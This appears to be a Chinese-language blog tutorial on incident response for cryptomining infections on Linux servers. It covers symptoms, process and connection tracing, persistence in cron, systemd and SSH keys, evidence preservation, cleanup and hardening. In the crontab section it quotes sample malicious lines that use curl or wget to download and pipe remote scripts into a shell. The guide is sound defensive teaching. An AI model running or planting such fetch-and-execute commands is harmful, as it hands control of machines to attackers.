深夜机房告警,一台平时负载很低的 Linux 机器,CPU 使用率突然冲到 100% 以上,登录上去top一看,一个名字跟业务毫无关系的进程占着几个核心,kill掉之后几分钟又自己跑起来了。这种情况我在处理服务器故障时遇到过不止一次,多数是挖矿病毒在作祟。这篇文章不会跟你扯太深的内核分析,我会按自己实际排查时的完整思路,从“怎么确认中招”“怎么定位恶意进程”到“怎么拆掉它的持久化机制、封堵入口”,把新手也能照做的 Linux 挖矿病毒处理指南写清楚。你可以把全文当作一次事故复盘来读,也可以遇到问题时直接翻到对应的章节照着操作。
1. 挖矿病毒为什么总是盯上 Linux 服务器
1.1 Linux 服务器是理想的“免费矿场”
挖矿木马的核心目的只有一个:借你的算力帮攻击者挖虚拟币。攻击者不可能自己买一堆服务器来跑,那是赔本买卖,所以他们会想办法把恶意程序塞进别人的机器,让别人的 CPU、内存、带宽全变成自己的算力来源。Linux 服务器尤其容易成为目标,因为它常年 7x24 小时在线、配置普遍不低、带宽和电费都有人买单,而且很多管理员习惯了“装完业务就完事”,从不看一眼安全配置。
作为攻击者,最省事的做法不是真的“黑”进来,而是写一个自动化脚本,在全网范围内扫描开着的 22 端口、各种未授权接口,碰到弱口令或者未修补的漏洞就直接拿下来,再下载挖矿程序、写计划任务,整套流程可能只需要几十秒。所以你会发现,很多服务器明明没什么名气和流量,却照样中招——这不是有人专门盯着你,而是扫到你这台机器“恰好开着门”。
1.2 常见的三种入侵入口
结合我排查过的几台中毒机器,入口来来去去就那几类。新手拿去对照自己的环境,基本可以快速定位风险点。
| 入侵路径 | 典型场景 | 排查方向 |
|---|---|---|
| SSH 弱口令与暴力破解 | root 密码太简单,22 端口对全网开放 | 检查/var/log/auth.log、/var/log/secure中的登录记录 |
| 未授权服务暴露 | Redis、MongoDB、Docker 管理口绑到了公网且无认证 | 检查监听端口、云安全组规则 |
| 应用与组件漏洞 | 老版本的 Web 框架、远程管理组件被人批量利用 | 检查业务进程版本、补丁更新情况 |
很多新手以为“我的防火墙关了,肯定不会被扫到”,其实恰恰相反。挖矿病毒的传播脚本天天都在扫全网,一旦你的服务开着弱口令或者默认配置,中招只是时间问题。这也是为什么后面专门有一章讲清理之后的加固——不封住入口,清理得再干净也没用。
2. 中毒后的第一现场:怎么确认机器“生病”了
2.1 症状一:CPU 异常升高和 load 持续飙高
最明显的信号就是 CPU 和 load average 的异常。正常业务机器在低峰期 CPU 使用率应该很低,顶多偶尔有几秒波动;如果某个进程长时间占着接近 100% 甚至更高(多核机器上显示 300%、800% 都不奇怪),而且这种状态在你没有跑任何重任务时持续存在,你就得提高警惕了。
执行top -c看进程列表,按 CPU 占用从高到低排,重点看名字。一般业务进程你心里是有数的,比如 Java 服务、Nginx、数据库进程;如果冒出一个完全没印象的名字,或者一个看起来很像系统进程但你从没见过的东西,那就很可疑。挖矿木马还喜欢把进程名伪装成java、php-fpm、httpd这类正常服务,所以光看名字不够,后面还得进一步分析它的真实启动路径和文件位置。
2.2 症状二:网络连接出现不正常的“外联”
挖矿程序算完账要把结果提交给矿池,所以必然会有持续的网络外联。你可以用ss -antp或netstat -antp看一下当前 ESTABLISHED 状态的连接,重点观察:是否有一批连接持续指向陌生 IP、非业务端口,连接数量不多但一直不变,且在没有任何用户访问时也稳定存在。
正常业务的外联一般有明确目的,比如请求数据库、上报监控、对接第三方 API;挖矿木马的外联则往往指向你完全不认识的目标。某些木马还会把网络流量伪装成 HTTPS 通信,端口用常见的 443、8443,这时候单纯看域名没用,最好是结合进程 PID 去定位是哪个进程在建立这些连接。具体操作后面会讲,这里先记住:ss是排查外联的最快工具。
2.3 症状三:文件、账户和定时任务层面的“小动作”
木马为了让自己能长期活着,通常会在系统里做一堆“持久化”手脚。常见的痕迹包括:
/tmp、/var/tmp、/dev/shm目录下出现名字看起来像随机字符串的脚本或压缩包;- 执行
crontab -l发现多了不认识的计划任务,内容一般是curl或wget下载脚本再执行; /etc/passwd里出现陌生用户,/root/.ssh/authorized_keys被写入来路不明的公钥;- 系统登录日志中有大段来自陌生 IP 的成功登录记录。
这里要提醒一句:单个特征不能定罪,有可能是管理员自己忘记的计划任务,或者同事加的公钥。但如果你发现“CPU 异常 + 陌生外联 + 文件或定时任务可疑”这几个信号同时出现,基本就可以按中毒流程处理了。
3. 完整排查链路:从 CPU 异常一路挖到矿池
3.1 用 top/htop 锁定“作案进程”,记录 PID
开始动手之前,先把现场固定下来。执行:
top -c按 CPU 排序,找到最可疑的进程,记下它的 PID、进程名、用户。如果你装了 htop,体验更直观,可以直接按F6选 CPU 百分比排序。同时执行:
ps -aux --sort=-%cpu | head -20这个命令可以拿到更完整的进程快照,包括内存占用、进程状态、启动时间。有一点非常重要:先别急着 kill。很多人一看到高 CPU 进程就想杀掉,但挖矿程序往往有守护进程,直接杀主进程只是挠痒痒。排查阶段要的是信息,不是处置。
3.2 分析进程真实身份,不要只看显示名
假名字是木马的老套路了,实际要看的是进程的可执行文件路径和启动命令。找到 PID 后,执行:
ls -l /proc/PID/exe cat /proc/PID/cmdline/proc/PID/exe是指向进程真实二进制文件的软链接,它会直接暴露程序到底是从哪个目录跑起来的。一个伪装成java的挖矿进程,它的/proc/PID/exe指向的很可能是/tmp/xxx或/var/tmp/xxx,一眼就能看穿。cmdline则能看到完整的启动参数,里面有的时候直接写着矿池地址或者下载脚本的 URL。
还要注意工作目录:
ls -l /proc/PID/cwd这样你能知道它当前的工作目录,很多时候木马会把配套文件放在同一个目录下面,顺手就能一起揪出来。
3.3 顺着网络连接定位外联目标
有了 PID,接下来看它和外界通信的目标:
ss -antp | grep PID或者:
lsof -p PID | grep TCP这样能看到这个进程当前正在连接哪些 IP 和端口。对比一下业务正常的外联目标,如果出现了一批你不认识的地址,而且持续在线,那基本可以确认它是矿池通信或者 C2 通信用的。
到这一步,我们还没删任何东西,但手里已经有了一份“患者病历”:进程名、PID、真实可执行文件路径、工作目录、外联地址、启动命令。把这些信息抄到一个文本文件里,后续处置会被动很多。
3.4 先复制一份可疑文件再考虑清理
对新手来说,很容易踩的一个坑是:看到 /tmp 下有个可疑文件,想都没想就rm了,结果后续想分析它是什么木马、有没有内网横向能力的时候,发现连样本都没了。
正确的做法是先把样本留档:
mkdir /opt/malware_evidence cp -a --parents /tmp/xxx /opt/malware_evidence/如果可执行文件正被进程占用,也可以直接用/proc/PID/exe的方式复制:
cp /proc/PID/exe /opt/malware_evidence/sample这样不影响进程运行,又能把二进制内容留下来。后面不管是给安全团队写报告,还是用杀软引擎做二次检测,都有东西可查。
4. 病毒持久化机关:定时任务、启动项、账户后门
4.1 Crontab 是重灾区,90% 的复发性问题都出在这里
挖矿木马很聪明,它知道如果什么都不做,管理员重启一次机器程序就没了,所以一定会写计划任务。哪怕你现在把进程杀了,只要 minutes 一到,它还能从远端重新下载并执行。
检查计划任务的命令非常直接:
crontab -l cat /etc/crontab ls /etc/cron.d/ ls /var/spool/cron/逐一看内容,特别留意里面类似这样的行:
*/5 * * * * curl -fsSL http://某个地址/x.sh | sh @daily wget -q -O- http://某个地址/y.sh | bash这些恶意计划任务通常会每分钟或每几分钟执行一次,把输出重定向到/dev/null,做得非常隐蔽。看到这种行,先记录完整内容,包括下载地址,再继续往下查。
4.2 Systemd 定时器、rc.local、Shell 启动文件都不能放过
现代 Linux 分发版大多用 systemd,木马也早就学会了利用这个机制。检查命令:
systemctl list-timers --all systemctl list-units | grep -E 'service|timer' | grep -v 'systemd-' ls -l /etc/systemd/system/重点找名字看起来像随机字符串,或者名字正常但描述和路径很怪的 service/timer 文件。打开文件看看ExecStart=指向哪、WantedBy=是什么,如果是执行一个/tmp下的脚本,基本就是木马无疑。
同时别忽略老式启动项:
cat /etc/rc.local cat /etc/rc.d/rc.local cat ~/.bashrc有些老版本木马或者没那么“高级”的变种,还是喜欢往这些文件里塞东西。检查原则其实就一条:凡是“开机自动执行”和“定时自动执行”的地方,都翻一遍。
4.3 账户后门与 SSH 密钥窃取
木马为了长期控制机器,经常会在感染后创建一个新用户,或者把一个公钥塞进 root 的authorized_keys,这样即使密码被改了,它也能凭密钥直接登录。检查:
cat /etc/passwd | grep -v nologin cat /root/.ssh/authorized_keys仔细看里面有没有你不认识的公钥和陌生用户,特别是那些 UID 为 0 但用户名不常见的账户,它们往往拥有和 root 一样的权限。顺带把 SSH 服务配置也看一眼:
grep -E 'PermitRootLogin|AllowUsers|AuthorizedKeysFile|PasswordAuthentication' /etc/ssh/sshd_config如果配置被改动过,也要一并记录。查到这里,你会发现清理其实不复杂,复杂的是把每一种“复活机制”都找出来。
5. 清理实操:从拆除恶意程序到确保不再复活
5.1 处置顺序:先备份、再拆持久化、最后杀进程
很多新手一上来就kill -9,这是错误的处置顺序。正确顺序应该是:先保留证据,再清掉定时任务和启动项,最后杀进程删文件。否则你前脚杀了进程,后脚 cron 又给拉起来,反复几次你会怀疑人生。
把自己第 3、4 章收集到的信息整理好之后,先把日志拷贝一份:
cp -a /var/log/auth.log /var/log/syslog /var/log/messages /opt/malware_evidence/ 2>/dev/null尽量保留原始日志内容,后面分析登录来源和攻击路径会用到。
5.2 删除恶意定时任务和启动项
如果是通过 crontab 实现持久化的,执行crontab -e手动删除对应行,或者直接清空某个用户的计划任务(前提是里面没有正常的任务):
crontab -r系统级 cron 文件则需要手动清理:
rm -f /etc/cron.d/恶意文件把/etc/crontab中恶意行删掉后,再执行一次:
crontab -l cat /etc/crontab ls /etc/cron.d/确认干净了,再处理 systemd 单元:
systemctl disable --now 恶意服务名 rm -f /etc/systemd/system/恶意unit文件 systemctl daemon-reloadrc.local 和 bashrc 里发现恶意行就直接用编辑器删掉。处置时要有耐心,每清掉一个持久化点,就相当于拆掉了木马的一个“复活按钮”。
5.3 终止进程并删除恶意文件本体
持久化拆干净之后,现在杀进程才不会“杀完就复活”。执行:
kill -15 PID sleep 3 kill -9 PID也可以按文件路径批量结束:
pkill -f /tmp/xxxpkill -f匹配的是完整命令行,路径对了就能把相关进程一网打尽。进程结束后,再删除对应的脚本和二进制文件:
rm -rf /tmp/xxx /var/tmp/xxx如果删除时提示权限不足或者文件被保护,检查文件属性:
lsattr /tmp/xxx chattr -i /tmp/xxxchattr +i是木马常见的保护手段,没去掉这个属性,你删掉后文件会自动重建。删除完先别急着收工,观察几分钟再看top,确认没有新的高 CPU 进程冒出来。
5.4 重启后的“复发观察期”
清理完看起来一切正常,但我建议你还是重启一次,因为有些木马把恶意模块加载到了内存中,或者通过内核模块/预加载方式隐藏进程,不重启很难彻底摘除。重启后按顺序再查一遍:
top -c ss -antp crontab -l systemctl list-timers如果全部干净,CPU 也正常了,那才算一阶段清理完成。别急着把所有精力收走,后面还有更重要的加固工作等着你。
6. 封堵后门与服务器加固:别让同一台机器二进宫
6.1 修改口令、密钥和陌生用户
既然木马已经拿到过一次系统权限,说明原来的口令或密钥大概率已经泄露了。处理完木马之后,立刻修改 root 以及所有管理员用户的口令。必要时直接注销掉那些不认识的账户:
userdel -r 陌生用户名如果authorized_keys里出现来路不明的公钥,就删除对应行,并重新生成一对新密钥替换掉原来的一套。要记住:你已经无法确定攻击者手里掌握多少凭据,最稳妥的方式就是全部换掉。
6.2 SSH 安全配置与防暴力破解
SSH 是最容易被打进来的通道,建议按下面的方向加固:
PermitRootLogin no:禁止 root 直接 SSH 登录;PasswordAuthentication no:只允许密钥登录(前提是你确认密钥在手里并能连上);AllowUsers白名单:只保留需要登录的账号;- 安装 fail2ban:自动封禁短时间内多次登录失败的来源 IP。
这里有个非常重要的提醒:在修改 SSH 配置之前,先开一个新的 SSH 会话保持登录,不要关掉当前窗口。否则配置写错了,比如把密钥登录关掉但密钥又不能用,你会被锁在服务器外面,后面只能去云控制台重置密码或使用网页终端,麻烦且尴尬。改完配置后,用新窗口验证可以正常登录,再关闭旧窗口。
6.3 补丁更新、端口收敛与最小暴露面
攻击者能进来,要么是密码太弱,要么是某个服务存在漏洞。检查系统包更新状态:
apt update && apt upgrade -y # 或 yum update -y同时用ss -tlnp看当前监听的端口,哪些是对业务必须的、哪些是不小心暴露出去的,对照云安全组规则收紧入口。Web 应用服务、数据库服务尽量只监听内网地址,不要图方便绑到0.0.0.0。
如果你用容器跑业务,同样要检查:容器映射出去的端口是否必要、是否给容器加了不必要的特权参数、镜像是否长期没更新。挖矿木马同样会盯上容器环境,而且容器一旦被攻破,主机也可能受牵连。加固的原则总结起来就一句话:减少暴露面,别把不需要给人看的东西挂到公网上。
7. 新手最容易踩的五个坑
7.1 只杀进程,不清持久化
这个坑其实前面反复提醒过了,但因为是新手重灾区,我还是要单独再说一次。只杀进程不拆 cron、不删启动项,木马不出十分钟就会原地复活。很多新手第一次处理时,跟木马杀了一晚上,最后才在 crontab 里发现真相。所以判断清理是否成功的标准从来不是“刚才那个进程死了”,而是“所有能拉起它的机制都被拆了”。
7.2 急着删文件,导致证据链断掉
有的新手看到恶意文件就一个rm -f,结果第二天安全团队或者领导问起“到底是什么木马、从哪进来的、扩散到哪些机器”,只能支支吾吾。我自己的习惯是先把样本文件和系统日志备份到独立目录,必要时再打包下载到本地留存。不要觉得这是多余动作,出过事之后你就会知道这几分钟有多值钱。
7.3 过度依赖“一键查杀”,误伤正常业务
网上确实有一些一键查杀脚本,能扫描常见挖矿痕迹。但对新手来说,我不太推荐直接跑这类工具作为第一处置手段——它的匹配规则比较粗暴,可能把你合法的业务文件、正常的 cron 任务一并删掉。更稳妥的做法是自己按第 3、4 章的思路手动排查,明确每个文件、每条计划任务的用途后再动手。手动排查看似慢,实际上对系统的理解会更深,也不会误删。
7.4 只管当前机器,漏掉内网横向扩散
挖矿木马中有一部分具备内网横向能力,会把当前机器当跳板,进一步扫描同网段的其他主机,植入同样的后门。如果你只清理了这一台,过两天隔壁机器也中招,你还是得返工。处理完当前机器后,建议对同网段、使用了同一套密码或同一份密钥的机器做一次快速检查,至少看看有没有异常登录记录和陌生计划任务。
7.5 处置过程中把自己锁在门外,或者误停生产进程
清理阶段有两个常见操作事故。一个是改 SSH 配置前没有保持会话,把自己锁在外面;另一个是快速查了一遍就把觉得可疑但其实是正常业务的进程杀掉,导致线上服务直接中断。处置应急问题的底线是“不要造成二次事故”。遇到不确定的进程,宁可先查清楚再杀,也不要为了快而误伤。真需要重启、停服务时,先看看依赖关系,挑业务低峰期操作,给自己留足回滚空间。
8. 一张可以直接照抄的应急自检清单
前面讲了这么多,新手可能记不住,我把整个处理流程浓缩成十步清单。遇到告警时按这个顺序走,基本不会漏。
| 步骤 | 操作 | 关键命令 |
|---|---|---|
| 1 | 登录服务器,记录现场信息 | top -c、ps -aux --sort=-%cpu |
| 2 | 查看异常外联 | ss -antp |
| 3 | 锁定可疑进程 PID | 记录 PID、进程名、用户 |
| 4 | 分析进程真实路径 | ls -l /proc/PID/exe、cat /proc/PID/cmdline |
| 5 | 排查计划任务与启动项 | crontab -l、systemctl list-timers、cat /etc/rc.local |
| 6 | 检查账户和 SSH 后门 | cat /etc/passwd、cat /root/.ssh/authorized_keys |
| 7 | 备份证据 | 复制恶意文件样本和系统日志到隔离目录 |
| 8 | 清理持久化 | 删除恶意 crontab、systemd 单元、rc.local 内容 |
| 9 | 杀进程、删文件 | kill -9 PID、rm -rf 恶意文件路径、必要时chattr -i |
| 10 | 加固并观察 | 改密码和密钥、收紧 SSH、更新补丁、复查 24 小时 |
这张清单我每次给新手同事演示应急处理时都会发一份,因为它把“心态慌”变成了“按流程走”。木马虽然烦人,但整套处置方法其实是固定的。
最后再分享一个我个人惯用的习惯:清理完木马后,我不会马上关掉监控,而是给自己设一个 48 小时的复查任务——每天早中晚各看一次top、ss和 cron 内容。挖矿程序最讨厌的地方就是“野火烧不尽”,只要你持续盯两天,它有没有残余一眼就能看出来。等你连续两天确认干净,再放心地把它当作普通机器使用。